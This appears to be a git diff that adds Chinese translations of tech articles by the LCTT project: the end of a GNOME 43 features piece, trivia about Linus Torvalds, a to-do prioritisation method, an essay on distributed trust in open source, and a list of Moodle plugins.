GNOME 43 中,你可以了解到更多关于 Flatpak 应用程序所需的权限。而且,你还可以看到一个 “其他应用程序” 部分,以寻找同一开发者的其它应用程序。 + +此外,软件包来源的显示方式也有了细微的视觉调整。 + +![GNOME 软件][14] + +### 附加:新的墙纸 + +你会得到新的默认壁纸,有深色和浅色的变体。下面是深色壁纸背景的样子: + +![][15] + +而这是浅色版本: + +![][16] + +除了主要的亮点之外,其他一些变化包括: + +* Adwaita 图标主题更新。 +* GNOME 应用程序的性能改进。 +* 各种代码的清理。 +* 对日历的改进。 +* 改良了“关于”窗口。 + +关于完整的技术细节,你可以参考 [GNOME 43 测试版更新日志][17]。 + +总的来说,GNOME 43 在很大程度上注重提高可用性和用户体验。 + +最初还计划了一些有趣的功能,但它们没有进入 GNOME 43。*也许,GNOME 44 会包括这些?* + +> **[这里是开发者为 GNOME 43 规划的内容][18]** + +*你对 GNOME 43 的功能有何看法?请在下面的评论中告诉我们你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-43-features/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/gnome-43-features.jpg +[2]: https://news.itsfoss.com/content/images/2022/08/gnome-toggle-1.png +[3]: https://news.itsfoss.com/content/images/2022/08/gnome-toggle-settings.png +[4]: https://news.itsfoss.com/gnome-files-43/ +[6]: https://news.itsfoss.com/content/images/2022/08/nautilus-file.gif +[7]: https://news.itsfoss.com/content/images/2022/08/secure-boot-gnome.png +[8]: https://news.itsfoss.com/gnome-secure-boot-warning/ +[10]: https://news.itsfoss.com/content/images/2022/08/gnome-web-extensions-1.png +[11]: https://news.itsfoss.com/gnome-web-extensions-dev/ +[13]: https://news.itsfoss.com/content/images/2022/08/gnome-software-screenshot-1.png +[14]: https://news.itsfoss.com/content/images/2022/08/gnome-43-software-center.jpg +[15]: https://news.itsfoss.com/content/images/2022/08/gnome-43-dark-wallpaper.jpg +[16]: https://news.itsfoss.com/content/images/2022/08/gnome-light-adaitwa.jpg +[17]: https://download.gnome.org/core/43/43.beta/NEWS +[18]: https://news.itsfoss.com/gnome-43-dev-plans/ diff --git a/published/202209/20200426 20 Facts About Linus Torvalds, the Creator of Linux and Git.md b/published/202209/20200426 20 Facts About Linus Torvalds, the Creator of Linux and Git.md new file mode 100644 index 0000000000..dbebc4478f --- /dev/null +++ b/published/202209/20200426 20 Facts About Linus Torvalds, the Creator of Linux and Git.md @@ -0,0 +1,189 @@ +[#]: subject: "20 Facts About Linus Torvalds, the Creator of Linux and Git" +[#]: via: "https://itsfoss.com/linus-torvalds-facts/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15063-1.html" + +关于 Linux 和 Git 的创造者 Linus Torvalds 的 20 件趣事 +====== + +> 一些已知的、或鲜为人知的事情 —— 这里有 20 件关于 Linux 内核创造者 Linus Torvalds 的趣事。 + +![Linus Torvalds,Linux 和 Git 的创造者][1] + +[Linus Benedict Torvalds][2](林纳斯·本纳第克特·托瓦兹),在 1991 年还是一名攻读硕士的芬兰学生时,他开发了一个类 Unix 操作系统。从那时起,它引发了一场革命:今天,它为大多数 Web 服务器、许多嵌入式设备和 [500 强超级计算机][3] 中的每一台提供支持。 + +我已经写过一些鲜为人知的 [关于 Linux 的事实][4],但这篇文章不是关于 Linux 的,而是关于它的创造者,Linus Torvalds。 + +通过阅读他的传记《[只是为了好玩][5]Just for Fun》,我了解了有关 Torvalds 的许多事情。如果你有兴趣,你也可以 [订购一本传记][6]。(这是一个 [受益推荐][7] 链接。) + +### 关于 Linus Torvalds 的 20 个有趣事实 + +你可能已经知道一些关于 Linus 的事情,但是通过阅读这篇文章,你很有可能会了解一些关于他的新趣事。 + +#### 1、以诺贝尔奖获得者的名字命名 + +Linus Benedict Torvalds 于 1969 年 12 月 28 日出生于赫尔辛基。他来自一个记者家庭。他的父亲 [Nils Torvalds][11] 是芬兰政治家,可能是未来参加选举的总统候选人。 + +他的名字来自于诺贝尔化学与和平奖的双奖获得者 [Linus Pauling][12] 的名字。 + +#### 2、世界上所有的 Torvalds 都是亲戚 + +虽然你可能会找到几个名字为 Linus 的人,但你不会找到很多姓 Torvalds 的人 —— 因为“正确”的拼写实际上是 Torvald(没有 s)。他的祖父将名字从 Torvald 改为 Torvalds,并在末尾添加了一个“s”。于是,Torvalds 王朝(如果我可以这么称呼它的话)开始了。 + +由于这是一个不寻常的姓氏,所以世界上只有不到 30 个 Torvalds,而且他们都是亲戚,这是 Linus Torvalds 在他的传记中说的。 + +![年轻的 Linus Torvalds 和他的记者妹妹 Sara Torvalds][13] + +#### 3、他的第一台电脑是 Commodore Vic 20 + +10 岁时,Linus 开始在他外祖父的 Commodore Vic 20 上使用 BASIC 编写程序。这使他发现自己对计算机和编程的热爱。 + +#### 4、Linus Torwalds 少尉 + +尽管他更喜欢花时间在电脑上而不是体育活动上,但他必须参加强制性的军事训练。他的军衔是少尉。 + +#### 5、因为他没有钱购买 UNIX,他创造了 Linux + +1991 年初,出于对 [MS-DOS][14] 和 [MINIX][15] 不满意,Torvalds 想购买一套 UNIX 系统。对我们来说幸运的是,他没有足够的钱。因此,他决定从头开始制作自己的 UNIX 复制品。 + +#### 6、Linux 可以被称为 Freax + +1991 年 9 月,Linus 发布了 Linux(代表 “Linus's MINIX”)并鼓励他的同好们使用其源代码进行更广泛的分发。 + +Linus 认为 Linux 这个名字太自负了。他想把它改成 Freax(基于 free、freak 和 MINIX),但他的朋友 Lemmarke 已经在 FTP 服务器上创建了一个名为 Linux 的目录。因此,Linux 的名称才得以沿用下来。(LCTT 译注:这个故事和我听到的不同。) + +#### 7、Linux 是他在大学的主要项目 + +《Linux:一种可移植的操作系统》是他的硕士论文题目。 + +#### 8、他娶了他的学生 + +1993 年,他在赫尔辛基大学任教时,给学生们布置了一份写电子邮件的作业。是的,当时撰写电子邮件没那么简单。 + +一位名叫 Tove Monni 的女学生完成了这项任务,给他发送一封电子邮件,并邀请他出去约会。他接受了,三年后,他们三个女儿中的第一个出生了。 + +我应该说他开创了网恋的潮流吗?嗯……不!让我们就此打住 ;) + +![Linus Torvalds 和他的妻子 Tove Monni Torvalds][16] + +#### 9、Linus 有一颗以他的名字命名的小行星 + +他的名字获得了无数荣誉,包括一颗名为 [9793 Torvalds][17] 的小行星。 + +#### 10、Linus 不得不为 Linux 的商标而战 + +Linux 是 Linus Torvalds 的注册商标。Torvalds 最初并不关心这个商标,但在 1994 年 8 月,William R. Della Croce, Jr. 注册了 Linux 商标,并开始向 Linux 开发人员索要版税。作为回应,Torvalds 起诉了他,并于 1997 年解决了此案。 + +#### 11、史蒂夫·乔布斯希望他为苹果公司的 macOS 工作 + +2000 年,苹果公司的创始人 [史蒂夫·乔布斯邀请他为苹果公司的 macOS 工作][19]。Linus 拒绝了这个报酬丰厚的提议,并继续致力于开发 Linux 内核。 + +#### 12、Linus 还创建了 Git + +大多数人都知道 Linus Torvalds 创建 Linux 内核,但他还创建了 [Git][20],这是一个广泛用于全世界的软件开发的版本控制系统。 + +直到 2005 年,(当时)专有服务 [BitKeeper][21] 还用于 Linux 内核的开发。而当 Bitkeeper 关闭其免费服务时,Linus Torvalds 自己创建了 Git,因为其他版本控制系统都不能满足他的需求。 + +#### 13、如今 Linus 几乎不编程 + +尽管 Linus 全职从事 Linux 内核工作,但他几乎不再为它编写任何代码。事实上,Linux 内核中的大部分代码都来自世界各地的贡献者。他在内核维护人员的帮助下,确保每个版本发布都能顺利进行。 + +#### 14、Torvalds 讨厌 C++ + +Linus Torvalds 极其 [不喜欢 C++ 编程语言][22],并对此直言不讳。他开玩笑说 Linux 内核的编译速度都比 C++ 程序快。 + +#### 15、即使是 Linus Torvalds 也发现 Linux 难以安装(现在你可以自我感觉良好了) + +几年前,Linus 说过 [他发现 Debian 难以安装][23]。众所周知,他 [在他的主要工作站上使用 Fedora][24]。 + +#### 16、他喜欢水肺潜水 + +Linus Torvalds 喜欢水肺潜水。他甚至创造了一种供水肺潜水员使用的潜水记录工具 [Subsurface][25]。你会惊讶地发现,有时他甚至会在论坛上回答一些普通问题。 + +![穿着潜水装备的 Linus Torvalds][26] + +#### 17、满嘴脏话的 Torvalds 改善了他的行为 + +Torvalds 以在 Linux 内核邮件列表中使用 [轻度脏话][27] 而闻名,这遭到了一些业内人士的批评。但是,很难批评他对 “[F**k you, NVIDIA][28]” 的玩笑,因为它促使英伟达为 Linux 内核提供了更好的适配。 + +2018 年,[Torvalds 暂时离开了 Linux 内核开发,以改善他的行为][29]。这是在他签署有争议的 [Linux 内核开发人员行为准则][30] 之前完成的。 + +![Linus Torvalds 对英伟达的中指:去你的!英伟达][31] + +#### 18、他太害羞了,不敢在公共场合讲话 + +Linus 对公开演讲感到不舒服。他不怎么参加活动。而当他必须参加时,他更喜欢坐下来接受主持人的采访。这是他最喜欢的公开演讲方式。 + +#### 19、他不是社交媒体爱好者 + +[Google Plus][32] 是他使用过的唯一社交媒体平台。他甚至在空闲时花了一些时间 [点评了小组件][33]。Google Plus 现已停用了,因此他没有其他社交媒体帐户。 + +#### 20、Torvalds 定居在美国 + +Linus 于 1997 年移居美国,并与他的妻子 Tove 和他们的三个女儿在那里定居。他于 2010 年成为美国公民。目前,作为 [Linux 基金会][34] 的成员,他全职从事 Linux 内核工作。 + +很难说 Linus Torvalds 的净资产是多少,或者 Linus Torvalds 的收入是多少,因为这些信息从未公开过。 + +![Tove 和 Linus Torvalds 和他们的女儿 Patricia、Daniela 和 Celeste][35] + +如果你有兴趣了解更多有关 Linus Torvalds 早期生活的信息,我建议你阅读他的传记,书名为 《[只是为了好玩][5]Just for Fun》。 + +*免责声明:这里的一些图片来源于互联网,我没有图像的版权,我也不打算用这篇文章侵犯 Torvalds 家族的隐私。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/linus-torvalds-facts/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2017/12/Linus-Torvalds-featured-800x450.png +[2]: https://en.wikipedia.org/wiki/Linus_Torvalds +[3]: https://itsfoss.com/linux-runs-top-supercomputers/ +[4]: https://itsfoss.com/facts-linux-kernel/ +[5]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[6]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[7]: https://itsfoss.com/affiliate-policy/ +[8]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[9]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[10]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[11]: https://en.wikipedia.org/wiki/Nils_Torvalds +[12]: https://en.wikipedia.org/wiki/Linus_Pauling +[13]: https://itsfoss.com/wp-content/uploads/2017/12/Linus_and_sara_Torvalds.jpg +[14]: https://en.wikipedia.org/wiki/MS-DOS +[15]: https://www.minix3.org/ +[16]: https://itsfoss.com/wp-content/uploads/2017/12/Linus_torvalds-wife-800x533.jpg +[17]: http://enacademic.com/dic.nsf/enwiki/1928421 +[18]: https://youtu.be/eE-ovSOQK0Y +[19]: https://www.macrumors.com/2012/03/22/steve-jobs-tried-to-hire-linux-creator-linus-torvalds-to-work-on-os-x/ +[20]: https://en.wikipedia.org/wiki/Git +[21]: https://www.bitkeeper.org/ +[22]: https://lwn.net/Articles/249460/ +[23]: https://www.youtube.com/watch?v=qHGTs1NSB1s +[24]: https://plus.google.com/+LinusTorvalds/posts/Wh3qTjMMbLC +[25]: https://subsurface-divelog.org/ +[26]: https://itsfoss.com/wp-content/uploads/2017/12/Linus_Torvalds_in_SCUBA_gear.jpg +[27]: https://www.theregister.co.uk/2016/08/26/linus_torvalds_calls_own_lawyers_nasty_festering_disease/ +[28]: https://www.youtube.com/watch?v=_36yNWw_07g +[29]: https://itsfoss.com/torvalds-takes-a-break-from-linux/ +[30]: https://itsfoss.com/linux-code-of-conduct/ +[31]: https://itsfoss.com/wp-content/uploads/2012/09/Linus-Torvalds-Fuck-You-Nvidia.jpg +[32]: https://plus.google.com/+LinusTorvalds +[33]: https://plus.google.com/collection/4lfbIE +[34]: https://www.linuxfoundation.org/ +[35]: https://itsfoss.com/wp-content/uploads/2017/12/patriciatorvalds.jpg +[36]: https://opensource.com/life/15/8/patricia-torvalds-interview +[37]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[38]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[39]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID +[40]: https://www.amazon.com/dp/0066620732?tag=AAWP_PLACEHOLDER_TRACKING_ID diff --git a/published/202209/20210114 How I prioritize tasks on my to-do list.md b/published/202209/20210114 How I prioritize tasks on my to-do list.md new file mode 100644 index 0000000000..c80297c1f3 --- /dev/null +++ b/published/202209/20210114 How I prioritize tasks on my to-do list.md @@ -0,0 +1,68 @@ +[#]: collector: "lujun9972" +[#]: translator: "Veryzzj" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15088-1.html" +[#]: subject: "How I prioritize tasks on my to-do list" +[#]: via: "https://opensource.com/article/21/1/prioritize-tasks" +[#]: author: "Kevin Sonney https://opensource.com/users/ksonney" + +如何确定待办事项上任务的优先级 +====== + +> 使用艾森豪威尔矩阵更好地安排你的待办事项的优先次序。 + +![](https://img.linux.net.cn/data/attachment/album/202209/30/121930xx0jnngx0oa8jl88.jpg) + +在本文中,将研究一种在待办事项上确定任务优先级的策略。想要找到适合你日常工作的开源工具,请查看 [此列表][2]。 + +把事情添加到任务或待办事项中很容易。几乎太容易了。而一旦列入清单,挑战就变成了弄清楚先做什么。我们要做清单首位的事情吗?清单首位的事情是最重要的吗?如何弄清楚最重要的事是什么? + +![To-do list][3] + +*要做的事。今天?明天?谁知道呢?(Kevin Sonney, [CC BY-SA 4.0][4])* + +[与电子邮件一样][5],我们可以根据一些事情来确定任务的优先级,这可以让我们弄清楚什么事情需要先做,什么可以等到以后再做。 + +我使用一种被称为“艾森豪威尔矩阵Eisenhower Matrix” 的方法,它取自美国总统 德怀特·戴维·艾森豪威尔Dwight D. Eisenhower 的一句话。画一个水平和垂直分割的方框。在列上标明“紧急”和“不紧急”,在行上标明“重要”和“不重要”。 + +![Eisenhower matrix][6] + +*一个艾森豪威尔矩阵。(Kevin Sonney, [CC BY-SA 4.0][4])* + +你可以把待办事项上的任务放在其中一个框里。但如何知道一个任务应该放在哪里?紧迫性和重要性往往是主观的。因此,第一步就是决定什么对你来说是重要的。我的家庭(包括宠物)、工作和爱好都很重要。如果待办事项上的东西与这三件事无关,我可以立即把它放到 “不重要” 行。 + +紧迫性是一个比较简单的问题。一件事需要在今天或明天完成吗?那么它可能是 “紧急的”。一件事是否有一个即将到来的最后期限,但离那个时间还有几天/几周/几个月,或者它根本就没有最后期限?当然是 “不急的”。 + +现在我们可以将这些框转化为优先级。“紧急/重要” 是最高优先级(即第一优先级),需要首先完成。接下来是 “不紧急/重要”(优先级 2),然后是 “紧急/不重要”(优先级 3),最后是 “不紧急/不重要”(优先级 4 或根本没有优先级)。 + +请注意,“紧急/不重要” 是第三位,而不是第二位。这是因为,人们花了很多时间在那些看似重要的事情上,只是因为它们比较紧急,实际上这些事并不是重要的。当我看到这类事项时,我会问自己一些问题。这些任务需要我具体完成吗?这些任务我可以要求其他人去做吗?它们对其他人来说是否重要和紧急?而这是否改变了它们对我的重要性?也许它们需要重新分类,或者我可以要求别人完成,并将它们从我的清单中删除。 + +![After prioritizing][7] + +*确定优先级后。(Kevin Sonney, [CC BY-SA 4.0][4])* + +对于“不紧急/不重要”框中的事项,有一个问题要问,那就是 “这些事情到底需不需要放在我的清单上?”说实话,我们经常用那些不紧急或不重要的事情来填满待办事项清单,但其实完全可以将它们从清单上删除。我知道承认 “这事永远不会完成” 是很难的,但在接受这个事实后,把这个事情从清单上删除并且不用再为它担心,是一种解脱。 + +经过这一切,看着清单很容易说出:“这是我现在需要做的事情。” 然后完成它。这就是待办事项的作用:为一天提供指导和重点。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/prioritize-tasks + +作者:[Kevin Sonney][a] +选题:[lujun9972][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ksonney +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/todo_checklist_team_metrics_report.png?itok=oB5uQbzf "Team checklist and to dos" +[2]: https://opensource.com/article/20/5/alternatives-list +[3]: https://opensource.com/sites/default/files/pictures/to-do-list.png "To-do list" +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/article/21/1/email-rules +[6]: https://opensource.com/sites/default/files/pictures/eisenhower-matrix.png "Eisenhower matrix" +[7]: https://opensource.com/sites/default/files/pictures/after-prioritizing.png "After prioritizing" diff --git a/published/202209/20210115 How open source builds distributed trust.md b/published/202209/20210115 How open source builds distributed trust.md new file mode 100644 index 0000000000..9926f35258 --- /dev/null +++ b/published/202209/20210115 How open source builds distributed trust.md @@ -0,0 +1,68 @@ +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15081-1.html) +[#]: subject: (How open source builds distributed trust) +[#]: via: (https://opensource.com/article/21/1/open-source-distributed-trust) +[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) + +开源如何构建分布式信任 +====== + +> 对开源的信任是一个正反馈循环。 + +![信任][1] + +这是我即将在 [Wiley][2] 出版的《计算和云计算中的信任Trust in Computing and the Cloud》一书中经过编辑的节选,也是我之前写的一篇文章[《信任与选择开源》][3]Trust & choosing open source的延伸。 + +在那篇文章中,我提出了一个问题。当我们说 “我相信开放源码软件” 时,我们在做什么?作为回答,我认为,我们正在做的是确定有足够多的编写和测试该软件的人与我有类似的要求,而且他们的专业知识加在一起,使我使用该软件的风险可以接受。我同时也介绍了 “分布式信任distributed trust” 的概念。 + +在社区内分布信任的概念是亚里士多德提出的 “人群智慧理论wisdom of the crowd theory” 的应用,其中的假设是,许多人的意见通常比一个人或少数人的意见更有明智。虽然在某些情况下,最简单的形式显然是错误的 —— 最明显的例子是民众对极权主义政权的支持 —— 但这一原则可以为建立某些信息提供一个非常有效的机制。 + +我们称这种集体经验的提炼为“分布式信任”,它通过互联网上的许多机制收集。如 TripAdvisor 或 Glassdoor,记录了关于组织或其提供的服务的信息,还有像 UrbanSitter 或 LinkedIn,允许用户添加关于特定人的信息(例如,见 LinkedIn 的推荐和技能与个人档案中的认可部分)。从这些例子中可以获得的利益因网络效应而大大增加,因为随着成员数量的增加,成员之间可能的联系数量也成倍增加。 + +分布式信任的例子还包括像 Twitter 这样的平台,一个账户的追随者数量可以被视为衡量其声誉,甚至是衡量其可信度的标准,我们应该以强烈的怀疑态度去看待这种计算。事实上,Twitter 认为它必须解决拥有大量追随者的账户的社会力量问题,并建立了一个为 “验证账户” 机制,让人们知道 “一个具有公共利益的账户是真实的”。但是有趣的是,该公司不得不暂停这项服务,因为用户对 “验证” 的确切含义或暗示的期望出现了问题:这就是不同群体之间对内容理解不同的典型案例。 + +那么,开源的相关性在哪里呢?开源的社区方面实际上就是建立分布式信任的一个驱动力。因为一旦你成为一个开源项目周围社区的一部分,你就会承担一个或多个角色,一旦你说你 “信任” 一个开源项目,你就会开始信任这些角色(见我之前的文章)。例如,架构师、设计师、开发人员、审查人员、技术写作、测试人员、部署人员、错误报告者或错误修复者。你对一个项目的参与越多,你就越是社区的一部分,久而久之,这就可以成为一个 “实践社区community of practice”。 + +Jean Lave 和 Etienne Wenger 在[《情境学习:正当的外围参与》][4]Situated Learning: Legitimate Peripheral Participation一书中提出了实践社区的概念,团体在成员热情分享和参与共同活动的过程中演变成社区,导致他们的技能和知识共同提高。这里的核心概念是:当参与者围绕实践社区进行学习时,他们同时也成为社区的成员。 + +> “正当的的外围参与既指在实践中知识技能身份的发展,也指实践社区的再生产和转化。” + +Wenger 在 [《实践社区:学习、意义和身份》][5]Communities of Practice: Learning, Meaning, and Identity 中进一步探讨了实践社区的概念:它们如何形成、对其健康的要求,以及它们如何鼓励学习。他认为,意义的可协商性(“我们为什么要一起工作,我们要实现什么?”)是实践社区的核心,并指出,如果没有个人的参与、想象力和一致性,实践社区将不会有活力。 + +我们可以把这一点与我们对分布式信任如何建立和构建的看法结合起来:当你意识到你对开源的影响可以与其他人的影响相同时,你对社区成员的分布式信任关系就变得不那么具有传递性(第二或第三手甚至更遥远),而是更加直接。你明白,你对你所运行的软件的创建、维护、需求和质量所能产生的影响,可以与所有其他以前匿名的贡献者一样,你现在正在与他们形成一个实践社区,或者你正在加入他们的现有实践社区。然后,你就会成为一个信任关系网络的一部分,这个网络是分布式的,但与你购买和操作专利软件时的经历相差不大。 + +这个过程并不会停止:因为开源项目的一个共同属性是“交叉授粉”,即一个项目的开发者也在其他项目上工作。由于多个开源项目之间的网络效应,使得对其他项目的重用和依赖性上升,导致整个项目的吸收量增加。 + +这就很容易理解为什么许多开源贡献者会成为开源爱好者或传道者,不仅仅是为单个项目,而是为整个开源项目。事实上,斯坦福大学社会学家 [Mark Granovetter][6] 的工作表明,社区内太多的强关系会导致小团体和停滞不前,但弱关系会使思想和趋势在社区内流动。这种对其他项目和围绕它们存在的社区的认识,以及想法在项目间的灵活性,导致分布式信任能够被扩展(尽管保证比较弱),超越贡献者在他们有直接经验的项目中所经历的直接或短链间接关系,并向其他项目扩展,因为外部观察或外围参与显示贡献者之间存在类似关系。 + +简单地说,参与开源项目并通过参与建立信任关系的行为会导致对类似的开源项目或只是对其他类似的开源项目产生更强的分布式信任。 + +这对我们每个人来说意味着什么?它意味着我们越是参与开源,我们对开源的信任度就越高,而其他人对开源的参与度也会相应提高,从而对开源的信任度也会提高。对开源的信任不仅仅是一个网络效应:它是一个正反馈循环! + +* * * + +_本文最初发表于 [Alice, Eve, and Bob][7],经作者许可转载。_ + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/open-source-distributed-trust + +作者:[Mike Bursell][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mikecamel +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_trust.png?itok=KMfi0Rdo (Trust) +[2]: https://wiley.com/ +[3]: https://aliceevebob.com/2019/06/18/trust-choosing-open-source/ +[4]: https://books.google.com/books/about/Situated_Learning.html?id=CAVIOrW3vYAC +[5]: https://books.google.com/books?id=Jb8mAAAAQBAJ&dq=Communities%20of%20Practice:%20Learning,%20meaning%20and%20identity&lr= +[6]: https://en.wikipedia.org/wiki/Mark_Granovetter +[7]: https://aliceevebob.com/2020/11/17/how-open-source-builds-distributed-trust/ diff --git a/published/202209/20210305 5 useful Moodle plugins to engage students.md b/published/202209/20210305 5 useful Moodle plugins to engage students.md new file mode 100644 index 0000000000..f07301d105 --- /dev/null +++ b/published/202209/20210305 5 useful Moodle plugins to engage students.md @@ -0,0 +1,107 @@ +[#]: subject: (5 useful Moodle plugins to engage students) +[#]: via: (https://opensource.com/article/21/3/moodle-plugins) +[#]: author: (Sergey Zarubin https://opensource.com/users/sergey-zarubin) +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15042-1.html) + +5 款可以吸引学生的有用的 Moodle 插件 +====== + +> 使用插件来赋予你的在线学习平台新的功能来激励学生。 + +![](https://img.linux.net.cn/data/attachment/album/202209/18/165423pkiq74kwzokqzoq7.jpg) + +无论在哪里,优秀的在线学习平台对于教育都非常重要。教师们需要一种途径来开办课堂,学生们需要一个友好的用户界面来促进学习,而管理者也需要一种方法来监控教育系统的有效性。 + +Moodle 是一个开源的软件包,允许你创建一个带有互动在线课程的私人网站。它可以帮助人们进行虚拟的在线聚会,互相教授和学习,并在此过程中保持井井有条。 + +Moodle 的独特之处在于它的该可用性,利用第三方解决方案可以显著提高可用性。如果你访问 [Moodle 插件目录][2],你将会找到超过 1,700 种由开源社区开发的插件。 + +面对如此多的选择,为你的学员挑选出最好的插件可能是一个挑战。为了帮助你开始,这里是我挑选出来的五大插件,你可以将其添加到你的在线学习平台。 + +### Level up! + +![Level up Moodle 插件][3] + +> **[Level up! 官网](https://levelup.plus/)** + +激励和吸引学习者是教育工作者最困难的任务之一。[Level up! 插件][4] 允许你将学习体验游戏化,将积分分配给完成任务的学生,并显示进度和等级提升。这会鼓励你的学生在健康的氛围中竞争,并成为一个很好的学习者。 + +另外,你可以完全控制学生所获得的积分,并且他们可以在达到一定等级的时候解锁内容。所有的这些功能都是免费提供的。如果你考虑付费,你可以购买一些额外的功能,如个人奖励和团队排行榜。 + +### BigBlueButton + +![BigBlueButton Moodle 插件][5] + + +> **[BigBlueButton 官网](https://bigbluebutton.org/)** + +[BigBlueButton][6] 可能是最知名的 Moodle 插件。这个开源的视频会议解决方案使得教育者能够让学生远程参与实时在线课程和小组协作活动。它提供了一些重要的功能,例如:实时屏幕共享、音视频通话、聊天,发送表情和分组讨论室。这款插件还可以让你记录你的直播课程。 + +BigBlueButton 让你能够在任何课程中创建多个活动链接、限制你的学生在你加入之前加入会话、创建自定义欢迎消息、管理你的录音等等。总而言之,BigBlueButton 拥有你教授和参与在线课程所需要的一切。 + +### ONLYOFFICE + +![ONLYOFFICE Moodle 插件][7] + +> **[ONLYOFFICE 官网](https://www.onlyoffice.com/)** + +[ONLYOFFICE 插件][8] 允许学习者和教育者在他们的浏览器中直接创建和编辑文本文档、电子表格和演示文档。无需安装任何额外的应用程序,他们就可以处理附在课程中的 .docx、.xlsx、.pptx、.txt 和 .csv 文件;打开 .pdf 文件进行查看;并应用复杂格式和对象,包括自动形状、表格、图表、方程式等等。 + +此外,ONLYFFICE 使得实时共同编辑文件成为可能,这意味着几个用户可以同时在同一个文件上工作。不同的权限(完全访问、评论、审查、只读和填表)使你更容易灵活地管理对文档的访问。 + +### Global Chat + +![Global Chat Moodle 插件][9] + +> **[Global Chat 官网](https://moodle.org/plugins/block_gchat)** + +[Global Chat 插件][10] 允许教育者和学习者通过 Moodle 进行实时交流。该插件提供了你课程中所有用户的列表,当你点击一个用户的名字时,它会在页面底部打开一个聊天窗口,以便你们进行交流。 + +有了这个易于使用的工具,你不需要打开一个单独的窗口来开始在线对话。你可以在网页之间转换,而你的对话将始终保持开放。 + +### Custom certificate + +![Custom certificate Moodle 插件][11] + +> **[Custom certificate 官网](https://moodle.org/plugins/mod_customcert)** + +另一个吸引学生的有效方法是提供证书作为完成课程的奖励。颁发结业证书的承诺有助于保持学生的进度和对培训的承诺。 + +[Custom certificate 插件][12] 允许你在你的网页浏览器中生成完全可定制的 PDF 证书。重要的是,该插件与 GDPR 要求兼容,而且证书有独特的验证码,所以你可以用它们进行真实认证。 + +### 更多丰富的 Moodle 插件 + +这些是我最喜欢的五个 Moodle 插件。你可以通过在 Moodle.org 上 [注册一个账户][13] 来试用它们,或者你可以托管你自己的插件(或者与你的系统管理员或 IT 人员商量,为你设置一个托管环境)。 + +如果这些插件不符合你的学习目标,可以看看其他可用的插件。如果你找到一个好的插件,请留下评论并告诉大家。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/moodle-plugins + +作者:[Sergey Zarubin][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sergey-zarubin +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/read_book_guide_tutorial_teacher_student_apaper.png?itok=_GOufk6N (阅读书籍的人和数字拷贝) +[2]: https://moodle.org/plugins/ +[3]: https://opensource.com/sites/default/files/uploads/gamification.png (Level up Moodle 插件) +[4]: https://moodle.org/plugins/block_xp +[5]: https://opensource.com/sites/default/files/uploads/bigbluebutton.png (BigBlueButton Moodle 插件) +[6]: https://moodle.org/plugins/mod_bigbluebuttonbn +[7]: https://opensource.com/sites/default/files/uploads/onlyoffice_editors.png (ONLYOFFICE Moodle 插件) +[8]: https://github.com/logicexpertise/moodle-mod_onlyoffice +[9]: https://opensource.com/sites/default/files/uploads/global_chat.png (Global Chat Moodle 插件) +[10]: https://moodle.org/plugins/block_gchat +[11]: https://opensource.com/sites/default/files/uploads/certificate.png (Custom certificate Moodle 插件) +[12]: 